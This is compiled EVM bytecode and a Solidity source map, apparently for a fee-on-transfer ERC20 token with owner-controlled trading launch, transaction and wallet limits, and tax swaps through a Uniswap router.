56105206009600a611853565b61052e90633b9aca00611862565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61055e6009600a611853565b61056c90633b9aca00611862565b60405190815260200160405180910390a1565b60006103bc338484610afe565b6000546001600160a01b031633146105b65760405162461bcd60e51b815260040161047a90611881565b601254600160a01b900460ff16156106105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b6012805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161047a90611881565b61065c476112c9565b565b6000546001600160a01b031633146106885760405162461bcd60e51b815260040161047a90611881565b601254600160a01b900460ff16156106d85760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161047a565b30600081815260016020526040902054601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091610731916107236009600a611853565b61044190633b9aca00611862565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a891906118b6565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e91906118b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089f91906118b6565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610933573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095891906118d3565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611901565b5050565b6001600160a01b038316610a3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610bc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610c265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b601254600160a01b900460ff16610cb9576001600160a01b03821660009081526003602052604090205460ff1680610c7657506001600160a01b03831660009081526003602052604090205460ff165b610cb95760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161047a565b601254600160a81b900460ff1680610cdb5750601254600160b01b900460ff16155b15610d86576001600160a01b038316600090815260016020526040902054610d039082611303565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610d32908261134c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af19085815260200190565b600080610db56064610daf600954600c5411610da457600554610da8565b6007545b86906113ab565b9061142a565b9150610dc96000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610df857506000546001600160a01b03858116911614155b1561111e576012546001600160a01b038681169116148015610e2857506011546001600160a01b03858116911614155b8015610e4d57506001600160a01b03841660009081526003602052604090205460ff16155b15610f3557600d54831115610ea45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b600e5483610ec7866001600160a01b031660009081526001602052604090205490565b610ed19190611923565b1115610f1f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600c8054906000610f2f8361193b565b91905055505b6012546001600160a01b03858116911614801590610f6c57506001600160a01b03841660009081526003602052604090205460ff16155b15610fec57600e5483610f94866001600160a01b031660009081526001602052604090205490565b610f9e9190611923565b1115610fec5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b6012546001600160a01b03858116911614801561101257506001600160a01b0385163014155b1561103f5761103c6064610daf600a54600c541161103257600654610da8565b60085486906113ab565b91505b30600090815260016020526040902054601254600160a81b900460ff1615801561107657506012546001600160a01b038681169116145b801561108b5750601254600160b01b900460ff165b801561109a5750600b54600c54115b80156110bf57506001600160a01b03861660009081526003602052604090205460ff16155b80156110e457506001600160a01b03851660009081526003602052604090205460ff16155b1561111c57600f548111156111105761111061110b856111068460105461146c565b61146c565b611481565b4761111a476112c9565b505b505b6111288383611303565b905081156111a4573060009081526001602052604090205461114a908361134c565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119b9086815260200190565b60405180910390a35b6001600160a01b03851660009081526003602052604090205483925060ff16156111da576008546007546111d79161134c565b91505b6001600160a01b0385166000908152600160205260409020546111fd9083611303565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461122c908261134c565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112809085815260200190565b60405180910390a35050505050565b600081848411156112b35760405162461bcd60e51b815260040161047a9190611629565b5060006112c08486611956565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109d5573d6000803e3d6000fd5b600061134583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128f565b9392505050565b6000806113598385611923565b9050838110156113455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6000826113ba575060006103c0565b60006113c68385611862565b9050826113d3858361196d565b146113455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b600061134583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115fb565b600081831161147b5782611345565b50919050565b6012805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c9576114c961198f565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154691906118b6565b816001815181106115595761155961198f565b6001600160a01b03928316602091820292909201015260115461157f91309116846109d9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b89085906000908690309042906004016119a5565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6000818361161c5760405162461bcd60e51b815260040161047a9190611629565b5060006112c0848661196d565b600060208083528351808285015260005b818110156116565785810183015185820160400152820161163a565b81811115611668576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461169357600080fd5b50565b600080604083850312156116a957600080fd5b82356116b48161167e565b946020939093013593505050565b6000806000606084860312156116d757600080fd5b83356116e28161167e565b925060208401356116f28161167e565b929592945050506040919091013590565b60006020828403121561171557600080fd5b81356113458161167e565b6000806040838503121561173357600080fd5b823561173e8161167e565b9150602083013561174e8161167e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117aa57816000190482111561179057611790611759565b8085161561179d57918102915b93841c9390800290611774565b509250929050565b6000826117c1575060016103c0565b816117ce575060006103c0565b81600181146117e457600281146117ee5761180a565b60019150506103c0565b60ff8411156117ff576117ff611759565b50506001821b6103c0565b5060208310610133831016604e8410600b841016171561182d575081810a6103c0565b611837838361176f565b806000190482111561184b5761184b611759565b029392505050565b600061134560ff8416836117b2565b600081600019048311821515161561187c5761187c611759565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118c857600080fd5b81516113458161167e565b6000806000606084860312156118e857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561191357600080fd5b8151801515811461134557600080fd5b6000821982111561193657611936611759565b500190565b600060001982141561194f5761194f611759565b5060010190565b60008282101561196857611968611759565b500390565b60008261198a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f55784516001600160a01b0316835293830193918301916001016119d0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f7f666edad9b10928d4ef6b95570ed82760afa965fc0fb56c55887f007ca6dd64736f6c634300080b0033

3832:9243:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6482:83;;;;;;;;;;-1:-1:-1;6552:5:0;;;;;;;;;;;;-1:-1:-1;;;6552:5:0;;;;6482:83;;;;;;;:::i;:::-;;;;;;;;7365:186;;;;;;;;;;-1:-1:-1;7365:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7365:186:0;1072:187:1;4897:55:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;4897:55:0;1264:177:1;6759:95:0;;;;;;;;;;;;;:::i;7559:446::-;;;;;;;;;;-1:-1:-1;7559:446:0;;;;;:::i;:::-;;:::i;6668:83::-;;;;;;;;;;-1:-1:-1;6668:83:0;;4513:1;2049:36:1;;2037:2;2022:18;6668:83:0;1907:184:1;6862:119:0;;;;;;;;;;-1:-1:-1;6862:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6955:18:0;6928:7;6955:18;;;:9;:18;;;;;;;6862:119;3677:148;;;;;;;;;;;;;:::i;:::-;;12496:162;;;;;;;;;;;;;:::i;4706:56::-;;;;;;;;;;;;;;;;3463:79;;;;;;;;;;-1:-1:-1;3501:7:0;3528:6;3463:79;;-1:-1:-1;;;;;3528:6:0;;;2494:51:1;;2482:2;2467:18;3463:79:0;2348:203:1;4769:58:0;;;;;;;;;;;;;;;;6573:87;;;;;;;;;;-1:-1:-1;6645:7:0;;;;;;;;;;;;-1:-1:-1;;;6645:7:0;;;;6573:87;;6989:192;;;;;;;;;;-1:-1:-1;6989:192:0;;;;;:::i;:::-;;:::i;4834:56::-;;;;;;;;;;;;;;;;12766:169;;;;;;;;;;;;;:::i;12980:92::-;;;;;;;;;;;;;:::i;7189:168::-;;;;;;;;;;-1:-1:-1;7189:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7322:18:0;;;7295:7;7322:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7189:168;5656:818;;;;;;;;;;;;;:::i;7365:186::-;7465:4;7482:39;276:10;7505:7;7514:6;7482:8;:39::i;:::-;-1:-1:-1;7539:4:0;7365:186;;;;;:::o;6759:95::-;6812:7;4569:15;4513:1;4569:2;:15;:::i;:::-;4556:28;;:10;:28;:::i;:::-;6832:14;;6759:95;:::o;7559:446::-;7691:4;7708:36;7718:6;7726:9;7737:6;7708:9;:36::i;:::-;7755:220;7778:6;276:10;7826:138;7882:6;7826:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7826:19:0;;;;;;:11;:19;;;;;;;;276:10;7826:33;;;;;;;;;;:37;:138::i;:::-;7755:8;:220::i;:::-;-1:-1:-1;7993:4:0;7559:446;;;;;:::o;3677:148::-;3590:6;;-1:-1:-1;;;;;3590:6:0;276:10;3590:22;3582:67;;;;-1:-1:-1;;;3582:67:0;;;;;;;:::i;:::-;;;;;;;;;3784:1:::1;3768:6:::0;;3747:40:::1;::::0;-1:-1:-1;;;;;3768:6:0;;::::1;::::0;3747:40:::1;::::0;3784:1;;3747:40:::1;3815:1;3798:19:::0;;-1:-1:-1;;;;;;3798:19:0::1;::::0;;3677:148::o;12496:162::-;3590:6;;-1:-1:-1;;;;;3590:6:0;276:10;3590:22;3582:67;;;;-1:-1:-1;;;3582:67:0;;;;;;;:::i;:::-;4569:15:::1;4513:1;4569:2;:15;:::i;:::-;4556:28;::::0;:10:::1;:28;:::i;:::-;12550:12;:22:::0;4569:15:::1;4513:1;4569:2;:15;:::i;:::-;4556:28;::::0;:10:::1;:28;:::i;:::-;12583:14;:24:::0;12623:27:::1;4569:15;4513:1;4569:2;:15;:::i;:::-;4556:28;::::0;:10:::1;:28;:::i;:::-;12623:27;::::0;1410:25:1;;;1398:2;1383:18;12623:27:0::1;;;;;;;12496:162::o:0;6989:192::-;7092:4;7109:42;276:10;7133:9;7144:6;7109:9;:42::i;12766:169::-;3590:6;;-1:-1:-1;;;;;3590:6:0;276:10;3590:22;3582:67;;;;-1:-1:-1;;;3582:67:0;;;;;;;:::i;:::-;12828:11:::1;::::0;-1:-1:-1;;;12828:11:0;::::1;;;12827:12;12819:48;;;::::0;-1:-1:-1;;;12819:48:0;;5200:2:1;12819:48:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;12819:48:0::1;4998:347:1::0;12819:48:0::1;12880:11;:18:::0;;-1:-1:-1;;;;12909:18:0;-1:-1:-1;;;12909:18:0;;;12766:169::o;12980:92::-;3590:6;;-1:-1:-1;;;;;3590:6:0;276:10;3590:22;3582:67;;;;-1:-1:-1;;;3582:67:0;;;;;;;:::i;:::-;13029:35:::1;13042:21;13029:12;:35::i;:::-;12980:92::o:0;5656:818::-;3590:6;;-1:-1:-1;;;;;3590:6:0;276:10;3590:22;3582:67;;;;-1:-1:-1;;;3582:67:0;;;;;;;:::i;:::-;5722:11:::1;::::0;-1:-1:-1;;;5722:11:0;::::1;;;5721:12;5713:44;;;::::0;-1:-1:-1;;;5713:44:0;;5552:2:1;5713:44:0::1;::::0;::::1;5534:21:1::0;5591:2;5571:18;;;5564:30;-1:-1:-1;;;5610:18:1;;;5603:49;5669:18;;5713:44:0::1;5350:343:1::0;5713:44:0::1;5809:4;5768:20;6955:18:::0;;;:9;:18;;;;;;5826:15:::1;:104:::0;;-1:-1:-1;;;;;;5826:104:0::1;5877:42;5826:104:::0;;::::1;::::0;;;6955:18;;5941:58:::1;::::0;4569:15:::1;4513:1;4569:2;:15;:::i;:::-;4556:28;::::0;:10:::1;:28;:::i;5941:58::-;6044:15;;;;;;;;;-1:-1:-1::0;;;;;6044:15:0::1;-1:-1:-1::0;;;;;6044:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6026:55:0::1;;6104:4;6124:15;;;;;;;;;-1:-1:-1::0;;;;;6124:15:0::1;-1:-1:-1::0;;;;;6124:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6026:131;::::0;-1:-1:-1;;;;;;6026:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6184:15:1;;;6026:131:0::1;::::0;::::1;6166:34:1::0;6236:15;;6216:18;;;6209:43;6101:18;;6026:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6010:13;:147:::0;;-1:-1:-1;;;;;;6010:147:0::1;-1:-1:-1::0;;;;;6010:147:0;;::::1;;::::0;;6168:15:::1;::::0;::::1;:31;6207:21;6252:4;6272:12:::0;-1:-1:-1;;276:10:0;6168:216:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6168:216:0;;;-1:-1:-1;;;;;6622:15:1;;;6168:216:0::1;::::0;::::1;6604:34:1::0;6654:18;;;6647:34;;;;6697:18;;;6690:34;;;;6740:18;;;6733:34;6804:15;;;6783:19;;;6776:44;6358:15:0::1;6836:19:1::0;;;6829:35;6538:19;;6168:216:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6402:13:0::1;::::0;6433:15:::1;::::0;6395:71:::1;::::0;-1:-1:-1;;;6395:71:0;;-1:-1:-1;;;;;6433:15:0;;::::1;6395:71;::::0;::::1;7360:51:1::0;-1:-1:-1;;7427:18:1;;;7420:34;6402:13:0;::::1;::::0;-1:-1:-1;6395:29:0::1;::::0;7333:18:1;;6395:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5702:772;5656:818::o:0;8013:335::-;-1:-1:-1;;;;;8106:19:0;;8098:68;;;;-1:-1:-1;;;8098:68:0;;7949:2:1;8098:68:0;;;7931:21:1;7988:2;7968:18;;;7961:30;8027:34;8007:18;;;8000:62;-1:-1:-1;;;8078:18:1;;;8071:34;8122:19;;8098:68:0;7747:400:1;8098:68:0;-1:-1:-1;;;;;8185:21:0;;8177:68;;;;-1:-1:-1;;;8177:68:0;;8354:2:1;8177:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:32;8525:19;;8177:68:0;8152:398:1;8177:68:0;-1:-1:-1;;;;;8256:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8308:32;;1410:25:1;;;8308:32:0;;1383:18:1;8308:32:0;;;;;;;;8013:335;;;:::o;8356:3320::-;-1:-1:-1;;;;;8444:18:0;;8436:68;;;;-1:-1:-1;;;8436:68:0;;8757:2:1;8436:68:0;;;8739:21:1;8796:2;8776:18;;;8769:30;8835:34;8815:18;;;8808:62;-1:-1:-1;;;8886:18:1;;;8879:35;8931:19;;8436:68:0;8555:401:1;8436:68:0;-1:-1:-1;;;;;8523:16:0;;8515:64;;;;-1:-1:-1;;;8515:64:0;;9163:2:1;8515:64:0;;;9145:21:1;9202:2;9182:18;;;9175:30;9241:34;9221:18;;;9214:62;-1:-1:-1;;;9292:18:1;;;9285:33;9335:19;;8515:64:0;8961:399:1;8515:64:0;8607:1;8598:6;:10;8590:64;;;;-1:-1:-1;;;8590:64:0;;9567:2:1;8590:64:0;;;9549:21:1;9606:2;9586:18;;;9579:30;9645:34;9625:18;;;9618:62;-1:-1:-1;;;9696:18:1;;;9689:39;9745:19;;8590:64:0;9365:405:1;8590:64:0;8672:11;;-1:-1:-1;;;8672:11:0;;;;8667:177;;-1:-1:-1;;;;;8726:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;8752:24:0;;;;;;:18;:24;;;;;;;;8726:50;8700:132;;;;-1:-1:-1;;;8700:132:0;;9977:2:1;8700:132:0;;;9959:21:1;10016:2;9996:18;;;9989:30;-1:-1:-1;;;10035:18:1;;;10028:50;10095:18;;8700:132:0;9775:344:1;8700:132:0;8860:6;;-1:-1:-1;;;8860:6:0;;;;;:22;;-1:-1:-1;8871:11:0;;-1:-1:-1;;;8871:11:0;;;;8870:12;8860:22;8856:223;;;-1:-1:-1;;;;;8917:15:0;;;;;;:9;:15;;;;;;:27;;8937:6;8917:19;:27::i;:::-;-1:-1:-1;;;;;8899:15:0;;;;;;;:9;:15;;;;;;:45;;;;8975:13;;;;;;;:25;;8993:6;8975:17;:25::i;:::-;-1:-1:-1;;;;;8959:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9020:26;;;;;;;;;;9039:6;1410:25:1;;1398:2;1383:18;;1264:177;8856:223:0;9091:17;9114:20;9163:110;9269:3;9163:87;9201:15;;9189:9;;:27;9188:61;;9235:14;;9188:61;;;9220:12;;9188:61;9163:6;;:24;:87::i;:::-;:105;;:110::i;:::-;9151:122;;9310:7;3501;3528:6;-1:-1:-1;;;;;3528:6:0;;3463:79;9310:7;-1:-1:-1;;;;;9302:15:0;:4;-1:-1:-1;;;;;9302:15:0;;;:32;;;;-1:-1:-1;3501:7:0;3528:6;-1:-1:-1;;;;;9321:13:0;;;3528:6;;9321:13;;9302:32;9298:1890;;;9381:13;;-1:-1:-1;;;;;9373:21:0;;;9381:13;;9373:21;:72;;;;-1:-1:-1;9429:15:0;;-1:-1:-1;;;;;9415:30:0;;;9429:15;;9415:30;;9373:72;:116;;;;-1:-1:-1;;;;;;9467:22:0;;;;;;:18;:22;;;;;;;;9466:23;9373:116;9351:440;;;9542:12;;9532:6;:22;;9524:60;;;;-1:-1:-1;;;9524:60:0;;10326:2:1;9524:60:0;;;10308:21:1;10365:2;10345:18;;;10338:30;10404:27;10384:18;;;10377:55;10449:18;;9524:60:0;10124:349:1;9524:60:0;9659:14;;9649:6;9633:13;9643:2;-1:-1:-1;;;;;6955:18:0;6928:7;6955:18;;;:9;:18;;;;;;;6862:119;9633:13;:22;;;;:::i;:::-;:40;;9603:140;;;;-1:-1:-1;;;9603:140:0;;10813:2:1;9603:140:0;;;10795:21:1;10852:2;10832:18;;;10825:30;10891:28;10871:18;;;10864:56;10937:18;;9603:140:0;10611:350:1;9603:140:0;9764:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9351:440;9817:13;;-1:-1:-1;;;;;9811:19:0;;;9817:13;;9811:19;;;;:46;;-1:-1:-1;;;;;;9835:22:0;;;;;;:18;:22;;;;;;;;9834:23;9811:46;9807:227;;;9934:14;;9924:6;9908:13;9918:2;-1:-1:-1;;;;;6955:18:0;6928:7;6955:18;;;:9;:18;;;;;;;6862:119;9908:13;:22;;;;:::i;:::-;:40;;9878:140;;;;-1:-1:-1;;;9878:140:0;;10813:2:1;9878:140:0;;;10795:21:1;10852:2;10832:18;;;10825:30;10891:28;10871:18;;;10864:56;10937:18;;9878:140:0;10611:350:1;9878:140:0;10060:13;;-1:-1:-1;;;;;10054:19:0;;;10060:13;;10054:19;:44;;;;-1:-1:-1;;;;;;10077:21:0;;10093:4;10077:21;;10054:44;10050:332;;;10131:235;10362:3;10131:204;10203:16;;10191:9;;:28;10190:122;;10297:15;;10190:122;;;10252:13;;10131:6;;:32;:204::i;:235::-;10119:247;;10050:332;10447:4;10398:28;6955:18;;;:9;:18;;;;;;10491:6;;-1:-1:-1;;;10491:6:0;;;;10490:7;:47;;;;-1:-1:-1;10524:13:0;;-1:-1:-1;;;;;10518:19:0;;;10524:13;;10518:19;10490:47;:79;;;;-1:-1:-1;10558:11:0;;-1:-1:-1;;;10558:11:0;;;;10490:79;:130;;;;;10602:18;;10590:9;;:30;10490:130;:176;;;;-1:-1:-1;;;;;;10642:24:0;;;;;;:18;:24;;;;;;;;10641:25;10490:176;:220;;;;-1:-1:-1;;;;;;10688:22:0;;;;;;:18;:22;;;;;;;;10687:23;10490:220;10468:709;;;10771:17;;10748:20;:40;10745:205;;;10813:117;10856:51;10860:6;10868:38;10872:20;10894:11;;10868:3;:38::i;:::-;10856:3;:51::i;:::-;10813:16;:117::i;:::-;11015:21;11107:35;11120:21;11107:12;:35::i;:::-;10726:451;10468:709;9336:1852;9298:1890;11204:21;:6;11215:9;11204:10;:21::i;:::-;11189:36;-1:-1:-1;11240:13:0;;11236:175;;11318:4;11300:24;;;;:9;:24;;;;;;:39;;11329:9;11300:28;:39::i;:::-;11291:4;11273:24;;;;:9;:24;;;;;;;:66;;;;11359:40;;-1:-1:-1;;;;;11359:40:0;;;;;;;11389:9;1410:25:1;;1398:2;1383:18;;1264:177;11359:40:0;;;;;;;;11236:175;-1:-1:-1;;;;;11434:24:0;;;;;;:18;:24;;;;;;11423:6;;-1:-1:-1;11434:24:0;;11430:73;;;11489:13;;11472:12;;:31;;:16;:31::i;:::-;11460:43;;11430:73;-1:-1:-1;;;;;11532:15:0;;;;;;:9;:15;;;;;;:30;;11552:9;11532:19;:30::i;:::-;-1:-1:-1;;;;;11514:15:0;;;;;;;:9;:15;;;;;;:48;;;;11589:13;;;;;;;:31;;11607:12;11589:17;:31::i;:::-;-1:-1:-1;;;;;11573:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11636:32;;;;;;;;;;11655:12;1410:25:1;;1398:2;1383:18;;1264:177;11636:32:0;;;;;;;;8425:3251;;8356:3320;;;:::o;1451:224::-;1571:7;1607:12;1599:6;;;;1591:29;;;;-1:-1:-1;;;1591:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1631:9:0;1643:5;1647:1;1643;:5;:::i;:::-;1631:17;1451:224;-1:-1:-1;;;;;1451:224:0:o;12666:92::-;12723:10;;:27;;-1:-1:-1;;;;;12723:10:0;;;;:27;;;;;12743:6;;12723:10;:27;:10;:27;12743:6;12723:10;:27;;;;;;;;;;;;;;;;;;;1307:136;1365:7;1392:43;1396:1;1399;1392:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1385:50;1307:136;-1:-1:-1;;;1307:136:0:o;1120:179::-;1178:7;;1210:5;1214:1;1210;:5;:::i;:::-;1198:17;;1239:1;1234;:6;;1226:46;;;;-1:-1:-1;;;1226:46:0;;11438:2:1;1226:46:0;;;11420:21:1;11477:2;11457:18;;;11450:30;11516:29;11496:18;;;11489:57;11563:18;;1226:46:0;11236:351:1;1683:246:0;1741:7;1765:6;1761:47;;-1:-1:-1;1795:1:0;1788:8;;1761:47;1818:9;1830:5;1834:1;1830;:5;:::i;:::-;1818:17;-1:-1:-1;1863:1:0;1854:5;1858:1;1818:17;1854:5;:::i;:::-;:10;1846:56;;;;-1:-1:-1;;;1846:56:0;;12016:2:1;1846:56:0;;;11998:21:1;12055:2;12035:18;;;12028:30;12094:34;12074:18;;;12067:62;-1:-1:-1;;;12145:18:1;;;12138:31;12186:19;;1846:56:0;11814:397:1;1937:132:0;1995:7;2022:39;2026:1;2029;2022:39;;;;;;;;;;;;;;;;;:3;:39::i;11684:107::-;11741:7;11773:1;11769;:5;11768:15;;11782:1;11768:15;;;-1:-1:-1;11778:1:0;11684:107;-1:-1:-1;11684:107:0:o;12002:486::-;5236:6;:13;;-1:-1:-1;;;;5236:13:0;-1:-1:-1;;;5236:13:0;;;12105:16:::1;::::0;;12119:1:::1;12105:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12105:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12105:16:0::1;12081:40;;12150:4;12132;12137:1;12132:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12132:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12176:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12176:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12132:7;;12176:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12166:4;12171:1;12166:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12166:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12241:15:::1;::::0;12209:63:::1;::::0;12226:4:::1;::::0;12241:15:::1;12259:12:::0;12209:8:::1;:63::i;:::-;12283:15;::::0;:197:::1;::::0;-1:-1:-1;;;12283:197:0;;-1:-1:-1;;;;;12283:15:0;;::::1;::::0;:66:::1;::::0;:197:::1;::::0;12364:12;;12283:15:::1;::::0;12407:4;;12434::::1;::::0;12454:15:::1;::::0;12283:197:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5272:6:0;:14;;-1:-1:-1;;;;5272:14:0;;;-1:-1:-1;;;;12002:486:0:o;2077:223::-;2197:7;2232:12;2225:5;2217:28;;;;-1:-1:-1;;;2217:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2256:9:0;2268:5;2272:1;2268;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892